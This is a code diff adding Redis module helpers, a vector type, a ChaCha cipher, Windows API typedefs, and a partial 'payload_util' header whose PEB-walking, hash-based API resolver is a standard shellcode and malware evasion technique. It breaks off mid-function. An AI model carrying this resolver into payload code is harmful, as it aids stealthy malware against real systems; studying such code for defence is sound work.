+  int rc = rmutil_vparseArgs(argv, argc, offset, fmt, ap);
+  va_end(ap);
+  return rc;
+}
+
+// Internal function that parses arguments based on the format described above
+int rmutil_vparseArgs(RedisModuleString **argv, int argc, int offset, const char *fmt, va_list ap) {
+
+  int i = offset;
+  char *c = (char *)fmt;
+  while (*c && i < argc) {
+
+    // read c string
+    if (*c == 'c') {
+      char **p = va_arg(ap, char **);
+      *p = (char *)RedisModule_StringPtrLen(argv[i], NULL);
+    } else if (*c == 'b') {
+      char **p = va_arg(ap, char **);
+      size_t *len = va_arg(ap, size_t *);
+      *p = (char *)RedisModule_StringPtrLen(argv[i], len);
+    } else if (*c == 's') {  // read redis string
+
+      RedisModuleString **s = va_arg(ap, void *);
+      *s = argv[i];
+
+    } else if (*c == 'l') {  // read long
+      long long *l = va_arg(ap, long long *);
+
+      if (RedisModule_StringToLongLong(argv[i], l) != REDISMODULE_OK) {
+        return REDISMODULE_ERR;
+      }
+    } else if (*c == 'd') {  // read double
+      double *d = va_arg(ap, double *);
+      if (RedisModule_StringToDouble(argv[i], d) != REDISMODULE_OK) {
+        return REDISMODULE_ERR;
+      }
+    } else if (*c == '*') {  // skip current arg
+      // do nothing
+    } else {
+      return REDISMODULE_ERR;  // WAT?
+    }
+    c++;
+    i++;
+  }
+  // if the format is longer than argc, retun an error
+  if (*c != 0) {
+    return REDISMODULE_ERR;
+  }
+  return REDISMODULE_OK;
+}
+
+int RMUtil_ParseArgsAfter(const char *token, RedisModuleString **argv, int argc, const char *fmt,
+                          ...) {
+
+  int pos = RMUtil_ArgIndex(token, argv, argc);
+  if (pos < 0) {
+    return REDISMODULE_ERR;
+  }
+
+  va_list ap;
+  va_start(ap, fmt);
+  int rc = rmutil_vparseArgs(argv, argc, pos + 1, fmt, ap);
+  va_end(ap);
+  return rc;
+}
+
+RedisModuleCallReply *RedisModule_CallReplyArrayElementByPath(RedisModuleCallReply *rep,
+                                                              const char *path) {
+  if (rep == NULL) return NULL;
+
+  RedisModuleCallReply *ele = rep;
+  const char *s = path;
+  char *e;
+  long idx;
+  do {
+    errno = 0;
+    idx = strtol(s, &e, 10);
+
+    if ((errno == ERANGE && (idx == LONG_MAX || idx == LONG_MIN)) || (errno != 0 && idx == 0) ||
+        (REDISMODULE_REPLY_ARRAY != RedisModule_CallReplyType(ele)) || (s == e)) {
+      ele = NULL;
+      break;
+    }
+    s = e;
+    ele = RedisModule_CallReplyArrayElement(ele, idx - 1);
+
+  } while ((ele != NULL) && (*e != '\0'));
+
+  return ele;
+}
+
+int RedisModule_TryGetValue(RedisModuleKey *key, const RedisModuleType *type, void **out) {
+  if (key == NULL) {
+    return RMUTIL_VALUE_MISSING;
+  }
+  int keytype = RedisModule_KeyType(key);
+  if (keytype == REDISMODULE_KEYTYPE_EMPTY) {
+    return RMUTIL_VALUE_EMPTY;
+  } else if (keytype == REDISMODULE_KEYTYPE_MODULE && RedisModule_ModuleTypeGetType(key) == type) {
+    *out = RedisModule_ModuleTypeGetValue(key);
+    return RMUTIL_VALUE_OK;
+  } else {
+    return RMUTIL_VALUE_MISMATCH;
+  }
+}
+
+RedisModuleString **RMUtil_ParseVarArgs(RedisModuleString **argv, int argc, int offset,
+                                        const char *keyword, size_t *nargs) {
+  if (offset > argc) {
+    return NULL;
+  }
+
+  argv += offset;
+  argc -= offset;
+
+  int ix = RMUtil_ArgIndex(keyword, argv, argc);
+  if (ix < 0) {
+    return NULL;
+  } else if (ix >= argc - 1) {
+    *nargs = RMUTIL_VARARGS_BADARG;
+    return argv;
+  }
+
+  argv += (ix + 1);
+  argc -= (ix + 1);
+
+  long long n = 0;
+  RMUtil_ParseArgs(argv, argc, 0, "l", &n);
+  if (n > argc - 1 || n < 0) {
+    *nargs = RMUTIL_VARARGS_BADARG;
+    return argv;
+  }
+
+  *nargs = n;
+  return argv + 1;
+}
+
+void RMUtil_DefaultAofRewrite(RedisModuleIO *aof, RedisModuleString *key, void *value) {
+  RedisModuleCtx *ctx = RedisModule_GetThreadSafeContext(NULL);
+  RedisModuleCallReply *rep = RedisModule_Call(ctx, "DUMP", "s", key);
+  if (rep != NULL && RedisModule_CallReplyType(rep) == REDISMODULE_REPLY_STRING) {
+    size_t n;
+    const char *s = RedisModule_CallReplyStringPtr(rep, &n);
+    RedisModule_EmitAOF(aof, "RESTORE", "slb", key, 0, s, n);
+  } else {
+    RedisModule_Log(RedisModule_GetContextFromIO(aof), "warning", "Failed to emit AOF");
+  }
+  if (rep != NULL) {
+    RedisModule_FreeCallReply(rep);
+  }
+  RedisModule_FreeThreadSafeContext(ctx);
+}
@@ -0,0 +1,149 @@
+#ifndef __UTIL_H__
+#define __UTIL_H__
+
+#include <redismodule.h>
+#include <stdarg.h>
+
+/// make sure the response is not NULL or an error, and if it is sends the error to the client and
+/// exit the current function
+#define RMUTIL_ASSERT_NOERROR(ctx, r)                                   \
+  if (r == NULL) {                                                      \
+    return RedisModule_ReplyWithError(ctx, "ERR reply is NULL");        \
+  } else if (RedisModule_CallReplyType(r) == REDISMODULE_REPLY_ERROR) { \
+    RedisModule_ReplyWithCallReply(ctx, r);                             \
+    return REDISMODULE_ERR;                                             \
+  }
+
+#define __rmutil_register_cmd(ctx, cmd, f, mode)                                \
+  if (RedisModule_CreateCommand(ctx, cmd, f, mode, 1, 1, 1) == REDISMODULE_ERR) \
+    return REDISMODULE_ERR;
+
+#define RMUtil_RegisterReadCmd(ctx, cmd, f) __rmutil_register_cmd(ctx, cmd, f, "readonly")
+
+#define RMUtil_RegisterWriteCmd(ctx, cmd, f) __rmutil_register_cmd(ctx, cmd, f, "write")
+
+/* RedisModule utilities. */
+
+/** DEPRECATED: Return the offset of an arg if it exists in the arg list, or 0 if it's not there */
+int RMUtil_ArgExists(const char *arg, RedisModuleString **argv, int argc, int offset);
+
+/* Same as argExists but returns -1 if not found. Use this, RMUtil_ArgExists is kept for backwards
+compatibility. */
+int RMUtil_ArgIndex(const char *arg, RedisModuleString **argv, int argc);
+
+/**
+Automatically conver the arg list to corresponding variable pointers according to a given format.
+You pass it the command arg list and count, the starting offset, a parsing format, and pointers to
+the variables.
+The format is a string consisting of the following identifiers:
+
+    c -- pointer to a Null terminated C string pointer.
+    s -- pointer to a RedisModuleString
+    l -- pointer to Long long integer.
+    d -- pointer to a Double
+    * -- do not parse this argument at all
+
+Example: If I want to parse args[1], args[2] as a long long and double, I do:
+    double d;
+    long long l;
+    RMUtil_ParseArgs(argv, argc, 1, "ld", &l, &d);
+*/
+int RMUtil_ParseArgs(RedisModuleString **argv, int argc, int offset, const char *fmt, ...);
+
+/**
+Same as RMUtil_ParseArgs, but only parses the arguments after `token`, if it was found.
+This is useful for optional stuff like [LIMIT [offset] [limit]]
+*/
+int RMUtil_ParseArgsAfter(const char *token, RedisModuleString **argv, int argc, const char *fmt,
+                          ...);
+
+int rmutil_vparseArgs(RedisModuleString **argv, int argc, int offset, const char *fmt, va_list ap);
+
+#define RMUTIL_VARARGS_BADARG ((size_t)-1)
+/**
+ * Parse arguments in the form of KEYWORD {len} {arg} .. {arg}_len.
+ * If keyword is present, returns the position within `argv` containing the arguments.
+ * Returns NULL if the keyword is not found.
+ * If a parse error has occurred, `nargs` is set to RMUTIL_VARARGS_BADARG, but
+ * the return value is not NULL.
+ */
+RedisModuleString **RMUtil_ParseVarArgs(RedisModuleString **argv, int argc, int offset,
+                                        const char *keyword, size_t *nargs);
+
+/**
+ * Default implementation of an AoF rewrite function that simply calls DUMP/RESTORE
+ * internally. To use this function, pass it as the .aof_rewrite value in
+ * RedisModuleTypeMethods
+ */
+void RMUtil_DefaultAofRewrite(RedisModuleIO *aof, RedisModuleString *key, void *value);
+
+// A single key/value entry in a redis info map
+typedef struct {
+  char *key;
+  char *val;
+} RMUtilInfoEntry;
+
+// Representation of INFO command response, as a list of k/v pairs
+typedef struct {
+  RMUtilInfoEntry *entries;
+  int numEntries;
+} RMUtilInfo;
+
+/**
+* Get redis INFO result and parse it as RMUtilInfo.
+* Returns NULL if something goes wrong.
+* The resulting object needs to be freed with RMUtilRedisInfo_Free
+*/
+RMUtilInfo *RMUtil_GetRedisInfo(RedisModuleCtx *ctx);
+
+/**
+* Free an RMUtilInfo object and its entries
+*/
+void RMUtilRedisInfo_Free(RMUtilInfo *info);
+
+/**
+* Get an integer value from an info object. Returns 1 if the value was found and
+* is an integer, 0 otherwise. the value is placed in 'val'
+*/
+int RMUtilInfo_GetInt(RMUtilInfo *info, const char *key, long long *val);
+
+/**
+* Get a string value from an info object. The value is placed in str.
+* Returns 1 if the key was found, 0 if not
+*/
+int RMUtilInfo_GetString(RMUtilInfo *info, const char *key, const char **str);
+
+/**
+* Get a double value from an info object. Returns 1 if the value was found and is
+* a correctly formatted double, 0 otherwise. the value is placed in 'd'
+*/
+int RMUtilInfo_GetDouble(RMUtilInfo *info, const char *key, double *d);
+
+/*
+* Returns a call reply array's element given by a space-delimited path. E.g.,
+* the path "1 2 3" will return the 3rd element from the 2 element of the 1st
+* element from an array (or NULL if not found)
+*/
+RedisModuleCallReply *RedisModule_CallReplyArrayElementByPath(RedisModuleCallReply *rep,
+                                                              const char *path);
+
+/**
+ * Extract the module type from an opened key.
+ */
+typedef enum {
+  RMUTIL_VALUE_OK = 0,
+  RMUTIL_VALUE_MISSING,
+  RMUTIL_VALUE_EMPTY,
+  RMUTIL_VALUE_MISMATCH
+} RMUtil_TryGetValueStatus;
+
+/**
+ * Tries to extract the module-specific type from the value.
+ * @param key an opened key (may be null)
+ * @param type the pointer to the type to match to
+ * @param[out] out if the value is present, will be set to it.
+ * @return a value in the @ref RMUtil_TryGetValueStatus enum.
+ */
+int RedisModule_TryGetValue(RedisModuleKey *key, const RedisModuleType *type, void **out);
+
+#endif
@@ -0,0 +1,88 @@
+#include "vector.h"
+#include <stdio.h>
+
+inline int __vector_PushPtr(Vector *v, void *elem) {
+  if (v->top == v->cap) {
+    Vector_Resize(v, v->cap ? v->cap * 2 : 1);
+  }
+
+  __vector_PutPtr(v, v->top, elem);
+  return v->top;
+}
+
+inline int Vector_Get(Vector *v, size_t pos, void *ptr) {
+  // return 0 if pos is out of bounds
+  if (pos >= v->top) {
+    return 0;
+  }
+
+  memcpy(ptr, v->data + (pos * v->elemSize), v->elemSize);
+  return 1;
+}
+
+/* Get the element at the end of the vector, decreasing the size by one */
+inline int Vector_Pop(Vector *v, void *ptr) {
+  if (v->top > 0) {
+    if (ptr != NULL) {
+      Vector_Get(v, v->top - 1, ptr);
+    }
+    v->top--;
+    return 1;
+  }
+  return 0;
+}
+
+inline int __vector_PutPtr(Vector *v, size_t pos, void *elem) {
+  // resize if pos is out of bounds
+  if (pos >= v->cap) {
+    Vector_Resize(v, pos + 1);
+  }
+
+  if (elem) {
+    memcpy(v->data + pos * v->elemSize, elem, v->elemSize);
+  } else {
+    memset(v->data + pos * v->elemSize, 0, v->elemSize);
+  }
+  // move the end offset to pos if we grew
+  if (pos >= v->top) {
+    v->top = pos + 1;
+  }
+  return 1;
+}
+
+int Vector_Resize(Vector *v, size_t newcap) {
+  int oldcap = v->cap;
+  v->cap = newcap;
+
+  v->data = realloc(v->data, v->cap * v->elemSize);
+
+  // If we grew:
+  // put all zeros at the newly realloc'd part of the vector
+  if (newcap > oldcap) {
+    int offset = oldcap * v->elemSize;
+    memset(v->data + offset, 0, v->cap * v->elemSize - offset);
+  }
+  return v->cap;
+}
+
+Vector *__newVectorSize(size_t elemSize, size_t cap) {
+  Vector *vec = malloc(sizeof(Vector));
+  vec->data = calloc(cap, elemSize);
+  vec->top = 0;
+  vec->elemSize = elemSize;
+  vec->cap = cap;
+
+  return vec;
+}
+
+void Vector_Free(Vector *v) {
+  free(v->data);
+  free(v);
+}
+
+
+/* return the used size of the vector, regardless of capacity */
+inline int Vector_Size(Vector *v) { return v->top; }
+
+/* return the actual capacity */
+inline int Vector_Cap(Vector *v) { return v->cap; }
@@ -0,0 +1,73 @@
+#ifndef __VECTOR_H__
+#define __VECTOR_H__
+#include <stdlib.h>
+#include <string.h>
+#include <stdarg.h>
+
+/*
+* Generic resizable vector that can be used if you just want to store stuff
+* temporarily.
+* Works like C++ std::vector with an underlying resizable buffer
+*/
+typedef struct {
+    char *data;
+    size_t elemSize;
+    size_t cap;
+    size_t top;
+
+} Vector;
+
+/* Create a new vector with element size. This should generally be used
+ * internall by the NewVector macro */
+Vector *__newVectorSize(size_t elemSize, size_t cap);
+
+// Put a pointer in the vector. To be used internall by the library
+int __vector_PutPtr(Vector *v, size_t pos, void *elem);
+
+/*
+* Create a new vector for a given type and a given capacity.
+* e.g. NewVector(int, 0) - empty vector of ints
+*/
+#define NewVector(type, cap) __newVectorSize(sizeof(type), cap)
+
+/*
+* get the element at index pos. The value is copied in to ptr. If pos is outside
+* the vector capacity, we return 0
+* otherwise 1
+*/
+int Vector_Get(Vector *v, size_t pos, void *ptr);
+
+/* Get the element at the end of the vector, decreasing the size by one */
+int Vector_Pop(Vector *v, void *ptr);
+
+//#define Vector_Getx(v, pos, ptr) pos < v->cap ? 1 : 0; *ptr =
+//*(typeof(ptr))(v->data + v->elemSize*pos)
+
+/*
+* Put an element at pos.
+* Note: If pos is outside the vector capacity, we resize it accordingly
+*/
+#define Vector_Put(v, pos, elem) __vector_PutPtr(v, pos, elem ? &(typeof(elem)){elem} : NULL)
+
+/* Push an element at the end of v, resizing it if needed. This macro wraps
+ * __vector_PushPtr */
+#define Vector_Push(v, elem) __vector_PushPtr(v, elem ? &(typeof(elem)){elem} : NULL)
+
+int __vector_PushPtr(Vector *v, void *elem);
+
+/* resize capacity of v */
+int Vector_Resize(Vector *v, size_t newcap);
+
+/* return the used size of the vector, regardless of capacity */
+int Vector_Size(Vector *v);
+
+/* return the actual capacity */
+int Vector_Cap(Vector *v);
+
+/* free the vector and the underlying data. Does not release its elements if
+ * they are pointers*/
+void Vector_Free(Vector *v);
+
+int __vecotr_PutPtr(Vector *v, size_t pos, void *elem);
+
+#endif
@@ -0,0 +1,224 @@
+/*
+chacha-merged.c version 20080118
+D. J. Bernstein
+Public domain.
+*/
+
+/* $OpenBSD: chacha_private.h,v 1.2 2013/10/04 07:02:27 djm Exp $ */
+
+#include <stddef.h>
+
+typedef unsigned char u8;
+typedef unsigned int u32;
+
+typedef struct
+{
+  u32 input[16]; /* could be compressed */
+} chacha_ctx;
+
+#define U8C(v) (v##U)
+#define U32C(v) (v##U)
+
+#define U8V(v) ((u8)(v) & U8C(0xFF))
+#define U32V(v) ((u32)(v) & U32C(0xFFFFFFFF))
+
+#define ROTL32(v, n) \
+  (U32V((v) << (n)) | ((v) >> (32 - (n))))
+
+#define U8TO32_LITTLE(p) \
+  (((u32)((p)[0])      ) | \
+   ((u32)((p)[1]) <<  8) | \
+   ((u32)((p)[2]) << 16) | \
+   ((u32)((p)[3]) << 24))
+
+#define U32TO8_LITTLE(p, v) \
+  do { \
+    (p)[0] = U8V((v)      ); \
+    (p)[1] = U8V((v) >>  8); \
+    (p)[2] = U8V((v) >> 16); \
+    (p)[3] = U8V((v) >> 24); \
+  } while (0)
+
+#define ROTATE(v,c) (ROTL32(v,c))
+#define XOR(v,w) ((v) ^ (w))
+#define PLUS(v,w) (U32V((v) + (w)))
+#define PLUSONE(v) (PLUS((v),1))
+
+#define QUARTERROUND(a,b,c,d) \
+  a = PLUS(a,b); d = ROTATE(XOR(d,a),16); \
+  c = PLUS(c,d); b = ROTATE(XOR(b,c),12); \
+  a = PLUS(a,b); d = ROTATE(XOR(d,a), 8); \
+  c = PLUS(c,d); b = ROTATE(XOR(b,c), 7);
+
+static const char sigma[16] = "expand 32-byte k";
+static const char tau[16] = "expand 16-byte k";
+
+static void
+chacha_keysetup(chacha_ctx *x,const u8 *k,u32 kbits,u32 ivbits)
+{
+  const char *constants;
+
+  x->input[4] = U8TO32_LITTLE(k + 0);
+  x->input[5] = U8TO32_LITTLE(k + 4);
+  x->input[6] = U8TO32_LITTLE(k + 8);
+  x->input[7] = U8TO32_LITTLE(k + 12);
+  if (kbits == 256) { /* recommended */
+    k += 16;
+    constants = sigma;
+  } else { /* kbits == 128 */
+    constants = tau;
+  }
+  x->input[8] = U8TO32_LITTLE(k + 0);
+  x->input[9] = U8TO32_LITTLE(k + 4);
+  x->input[10] = U8TO32_LITTLE(k + 8);
+  x->input[11] = U8TO32_LITTLE(k + 12);
+  x->input[0] = U8TO32_LITTLE(constants + 0);
+  x->input[1] = U8TO32_LITTLE(constants + 4);
+  x->input[2] = U8TO32_LITTLE(constants + 8);
+  x->input[3] = U8TO32_LITTLE(constants + 12);
+}
+
+static void
+chacha_ivsetup(chacha_ctx *x,const u8 *iv)
+{
+  x->input[12] = 1;
+  x->input[13] = U8TO32_LITTLE(iv + 0);
+  x->input[14] = U8TO32_LITTLE(iv + 4);
+  x->input[15] = U8TO32_LITTLE(iv + 8);
+}
+
+static void
+chacha_encrypt_bytes(chacha_ctx *x,const u8 *m,u8 *c,u32 bytes)
+{
+  u32 x0, x1, x2, x3, x4, x5, x6, x7, x8, x9, x10, x11, x12, x13, x14, x15;
+  u32 j0, j1, j2, j3, j4, j5, j6, j7, j8, j9, j10, j11, j12, j13, j14, j15;
+  u8 *ctarget = NULL;
+  u8 tmp[64];
+  u32 i;
+
+  if (!bytes) return;
+
+  j0 = x->input[0];
+  j1 = x->input[1];
+  j2 = x->input[2];
+  j3 = x->input[3];
+  j4 = x->input[4];
+  j5 = x->input[5];
+  j6 = x->input[6];
+  j7 = x->input[7];
+  j8 = x->input[8];
+  j9 = x->input[9];
+  j10 = x->input[10];
+  j11 = x->input[11];
+  j12 = x->input[12];
+  j13 = x->input[13];
+  j14 = x->input[14];
+  j15 = x->input[15];
+
+  for (;;) {
+    if (bytes < 64) {
+      for (i = 0;i < bytes;++i) tmp[i] = m[i];
+      m = tmp;
+      ctarget = c;
+      c = tmp;
+    }
+    x0 = j0;
+    x1 = j1;
+    x2 = j2;
+    x3 = j3;
+    x4 = j4;
+    x5 = j5;
+    x6 = j6;
+    x7 = j7;
+    x8 = j8;
+    x9 = j9;
+    x10 = j10;
+    x11 = j11;
+    x12 = j12;
+    x13 = j13;
+    x14 = j14;
+    x15 = j15;
+    for (i = 20;i > 0;i -= 2) {
+      QUARTERROUND( x0, x4, x8,x12)
+      QUARTERROUND( x1, x5, x9,x13)
+      QUARTERROUND( x2, x6,x10,x14)
+      QUARTERROUND( x3, x7,x11,x15)
+      QUARTERROUND( x0, x5,x10,x15)
+      QUARTERROUND( x1, x6,x11,x12)
+      QUARTERROUND( x2, x7, x8,x13)
+      QUARTERROUND( x3, x4, x9,x14)
+    }
+    x0 = PLUS(x0,j0);
+    x1 = PLUS(x1,j1);
+    x2 = PLUS(x2,j2);
+    x3 = PLUS(x3,j3);
+    x4 = PLUS(x4,j4);
+    x5 = PLUS(x5,j5);
+    x6 = PLUS(x6,j6);
+    x7 = PLUS(x7,j7);
+    x8 = PLUS(x8,j8);
+    x9 = PLUS(x9,j9);
+    x10 = PLUS(x10,j10);
+    x11 = PLUS(x11,j11);
+    x12 = PLUS(x12,j12);
+    x13 = PLUS(x13,j13);
+    x14 = PLUS(x14,j14);
+    x15 = PLUS(x15,j15);
+
+#ifndef KEYSTREAM_ONLY
+    x0 = XOR(x0,U8TO32_LITTLE(m + 0));
+    x1 = XOR(x1,U8TO32_LITTLE(m + 4));
+    x2 = XOR(x2,U8TO32_LITTLE(m + 8));
+    x3 = XOR(x3,U8TO32_LITTLE(m + 12));
+    x4 = XOR(x4,U8TO32_LITTLE(m + 16));
+    x5 = XOR(x5,U8TO32_LITTLE(m + 20));
+    x6 = XOR(x6,U8TO32_LITTLE(m + 24));
+    x7 = XOR(x7,U8TO32_LITTLE(m + 28));
+    x8 = XOR(x8,U8TO32_LITTLE(m + 32));
+    x9 = XOR(x9,U8TO32_LITTLE(m + 36));
+    x10 = XOR(x10,U8TO32_LITTLE(m + 40));
+    x11 = XOR(x11,U8TO32_LITTLE(m + 44));
+    x12 = XOR(x12,U8TO32_LITTLE(m + 48));
+    x13 = XOR(x13,U8TO32_LITTLE(m + 52));
+    x14 = XOR(x14,U8TO32_LITTLE(m + 56));
+    x15 = XOR(x15,U8TO32_LITTLE(m + 60));
+#endif
+
+    j12 = PLUSONE(j12);
+    if (!j12) {
+      j13 = PLUSONE(j13);
+      /* stopping at 2^70 bytes per nonce is user's responsibility */
+    }
+
+    U32TO8_LITTLE(c + 0,x0);
+    U32TO8_LITTLE(c + 4,x1);
+    U32TO8_LITTLE(c + 8,x2);
+    U32TO8_LITTLE(c + 12,x3);
+    U32TO8_LITTLE(c + 16,x4);
+    U32TO8_LITTLE(c + 20,x5);
+    U32TO8_LITTLE(c + 24,x6);
+    U32TO8_LITTLE(c + 28,x7);
+    U32TO8_LITTLE(c + 32,x8);
+    U32TO8_LITTLE(c + 36,x9);
+    U32TO8_LITTLE(c + 40,x10);
+    U32TO8_LITTLE(c + 44,x11);
+    U32TO8_LITTLE(c + 48,x12);
+    U32TO8_LITTLE(c + 52,x13);
+    U32TO8_LITTLE(c + 56,x14);
+    U32TO8_LITTLE(c + 60,x15);
+
+    if (bytes <= 64) {
+      if (bytes < 64) {
+        for (i = 0;i < bytes;++i) ctarget[i] = c[i];
+      }
+      x->input[12] = j12;
+      x->input[13] = j13;
+      return;
+    }
+    bytes -= 64;
+    c += 64;
+#ifndef KEYSTREAM_ONLY
+    m += 64;
+#endif
+  }
+}
@@ -0,0 +1,136 @@
+#ifndef _KERNEL_UTIL
+#define _KERNEL_UTIL
+
+typedef BOOL (WINAPI *FuncCreateProcess) (
+	LPCTSTR lpApplicationName,
+	LPTSTR lpCommandLine,
+	LPSECURITY_ATTRIBUTES lpProcessAttributes,
+	LPSECURITY_ATTRIBUTES lpThreadAttributes,
+	BOOL bInheritHandles,
+	DWORD dwCreationFlags,
+	LPVOID lpEnvironment,
+	LPCTSTR lpCurrentDirectory,
+	LPSTARTUPINFO lpStartupInfo,
+	LPPROCESS_INFORMATION lpProcessInformation
+);
+
+typedef BOOL (WINAPI *FuncSetHandleInformation)
+(
+  HANDLE hObject,
+  DWORD dwMask,
+  DWORD dwFlags
+);
+
+typedef BOOL (WINAPI *FuncReadFile)
+(
+  HANDLE hFile,
+  LPVOID lpBuffer,
+  DWORD nNumberOfBytesToRead,
+  LPDWORD lpNumberOfBytesToRead,
+  LPOVERLAPPED lpOverlapped
+);
+
+typedef BOOL (WINAPI *FuncWriteFile)
+(
+  HANDLE hFile,
+  LPCVOID lpBuffer,
+  DWORD nNumberOfBytesToWrite,
+  LPDWORD lpNumberOfBytesWritten,
+  LPOVERLAPPED lpOverlapped
+);
+
+typedef BOOL (WINAPI *FuncPeekNamedPipe)
+(
+  HANDLE hNamedPipe,
+  LPVOID lpBuffer,
+  DWORD nBufferSize,
+  LPDWORD nBytesRead,
+  LPDWORD lpTotalBytesAvailable,
+  LPDWORD lpBytesLeftThisMessage
+);
+
+typedef BOOL (WINAPI *FuncCreatePipe)
+(
+  PHANDLE hReadPipe,
+  PHANDLE hWritePipe,
+  LPSECURITY_ATTRIBUTES lpPipeAttributes,
+  DWORD nSize
+);
+
+typedef BOOL (WINAPI *FuncCloseHandle)
+(
+  HANDLE hObject
+);
+
+typedef HGLOBAL (WINAPI *FuncGlobalAlloc)
+(
+  UINT uFlags,
+  SIZE_T dwBytes
+);
+
+typedef HGLOBAL (WINAPI *FuncGlobalFree)
+(
+  HGLOBAL hMem
+);
+
+typedef HANDLE (WINAPI *FuncHeapCreate)
+(
+  DWORD flOptions,
+  SIZE_T dwInitialize,
+  SIZE_T dwMaximumSize
+);
+
+typedef LPVOID (WINAPI *FuncHeapAlloc)
+(
+  HANDLE hHeap,
+  DWORD dwFlags,
+  SIZE_T dwBytes
+);
+
+typedef VOID (WINAPI *FuncSleep)
+(
+  DWORD dwMilliseconds
+);
+
+typedef HANDLE (WINAPI *FuncGetCurrentProcess) ();
+
+typedef BOOL (WINAPI *FuncGetExitCodeProcess)
+(
+  HANDLE hProcess,
+  LPDWORD lpExitCode
+);
+
+typedef VOID (WINAPI *FuncExitProcess)
+(
+  UINT uExitCode
+);
+
+typedef BOOL (WINAPI *FuncCloseHandle)
+(
+  HANDLE hObject
+);
+
+typedef BOOL (WINAPI *FuncVirtualProtect)
+(
+  LPVOID lpAddress,
+  SIZE_T dwSize,
+  DWORD flNewProtect,
+  PDWORD lpflOldProtect
+);
+
+typedef LPVOID (WINAPI *FuncVirtualAlloc)
+(
+  LPVOID lpAddress,
+  SIZE_T dwSize,
+  DWORD flAllocationType,
+  DWORD flProtect
+);
+
+typedef BOOL (WINAPI *FuncVirtualFree)
+(
+  LPVOID lpAddress,
+  SIZE_T dwSize,
+  DWORD dwFreeType
+);
+
+#endif
@@ -0,0 +1,152 @@
+/*
+ * This code is provided under the 3-clause BSD license below.
+ * ***********************************************************
+ *
+ * Copyright (c) 2013, Matthew Graeber
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+ *
+ *   Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+ *   Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+ *   The names of its contributors may not be used to endorse or promote products derived from this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+*/
+
+#ifndef _PAYLOAD_UTIL
+#define _PAYLOAD_UTIL
+
+#include <windows.h>
+#include <winternl.h>
+
+typedef HMODULE (WINAPI *FuncLoadLibraryA) (
+	LPTSTR lpFileName
+);
+
+// This compiles to a ROR instruction
+// This is needed because _lrotr() is an external reference
+// Also, there is not a consistent compiler intrinsic to accomplish this across all three platforms.
+#define ROTR32(value, shift)	(((DWORD) value >> (BYTE) shift) | ((DWORD) value << (32 - (BYTE) shift)))
+
+// Redefine PEB structures. The structure definitions in winternl.h are incomplete.
+typedef struct _MY_PEB_LDR_DATA {
+  ULONG Length;
+	BOOL Initialized;
+	PVOID SsHandle;
+	LIST_ENTRY InLoadOrderModuleList;
+  LIST_ENTRY InMemoryOrderModuleList;
+	LIST_ENTRY InInitializationOrderModuleList;
+} MY_PEB_LDR_DATA, *PMY_PEB_LDR_DATA;
+
+typedef struct _MY_LDR_DATA_TABLE_ENTRY
+{
+	LIST_ENTRY InLoadOrderLinks;
+	LIST_ENTRY InMemoryOrderLinks;
+	LIST_ENTRY InInitializationOrderLinks;
+	PVOID DllBase;
+	PVOID EntryPoint;
+	ULONG SizeOfImage;
+	UNICODE_STRING FullDllName;
+	UNICODE_STRING BaseDllName;
+} MY_LDR_DATA_TABLE_ENTRY, *PMY_LDR_DATA_TABLE_ENTRY;
+
+HMODULE GetProcAddressWithHash( _In_ DWORD dwModuleFunctionHash )
+{
+	PPEB PebAddress;
+	PMY_PEB_LDR_DATA pLdr;
+	PMY_LDR_DATA_TABLE_ENTRY pDataTableEntry;
+	PVOID pModuleBase;
+	PIMAGE_NT_HEADERS pNTHeader;
+	DWORD dwExportDirRVA;
+	PIMAGE_EXPORT_DIRECTORY pExportDir;
+	PLIST_ENTRY pNextModule;
+	DWORD dwNumFunctions;
+	USHORT usOrdinalTableIndex;
+	PDWORD pdwFunctionNameBase;
+	PCSTR pFunctionName;
+	UNICODE_STRING BaseDllName;
+	DWORD dwModuleHash;
+	DWORD dwFunctionHash;
+	PCSTR pTempChar;
+	DWORD i;
+
+#if defined(_WIN64)
+	PebAddress = (PPEB) __readgsqword( 0x60 );
+#else
+	PebAddress = (PPEB) __readfsdword( 0x30 );
+#endif
+
+	pLdr = (PMY_PEB_LDR_DATA) PebAddress->Ldr;
+	pNextModule = pLdr->InLoadOrderModuleList.Flink;
+	pDataTableEntry = (PMY_LDR_DATA_TABLE_ENTRY) pNextModule;
+
+	while (pDataTableEntry->DllBase != NULL)
+	{
+		dwModuleHash = 0;
+		pModuleBase = pDataTableEntry->DllBase;
+		BaseDllName = pDataTableEntry->BaseDllName;
+		pNTHeader = (PIMAGE_NT_HEADERS) ((ULONG_PTR) pModuleBase + ((PIMAGE_DOS_HEADER) pModuleBase)->e_lfanew);
+		dwExportDirRVA = pNTHeader->OptionalHeader.DataDirectory[0].VirtualAddress;
+
+		// Get the next loaded module entry
+		pDataTableEntry = (PMY_LDR_DATA_TABLE_ENTRY) pDataTableEntry->InLoadOrderLinks.Flink;
+
+		// If the current module does not export any functions, move on to the next module.
+		if (dwExportDirRVA == 0)
+		{
+			continue;
+		}
+
+		// Calculate the module hash
+		for (i = 0; i < BaseDllName.MaximumLength; i++)
+		{
+			pTempChar = ((PCSTR) BaseDllName.Buffer + i);
+
+			dwModuleHash = ROTR32( dwModuleHash, 13 );
+
+			if ( *pTempChar >= 0x61 )
+			{
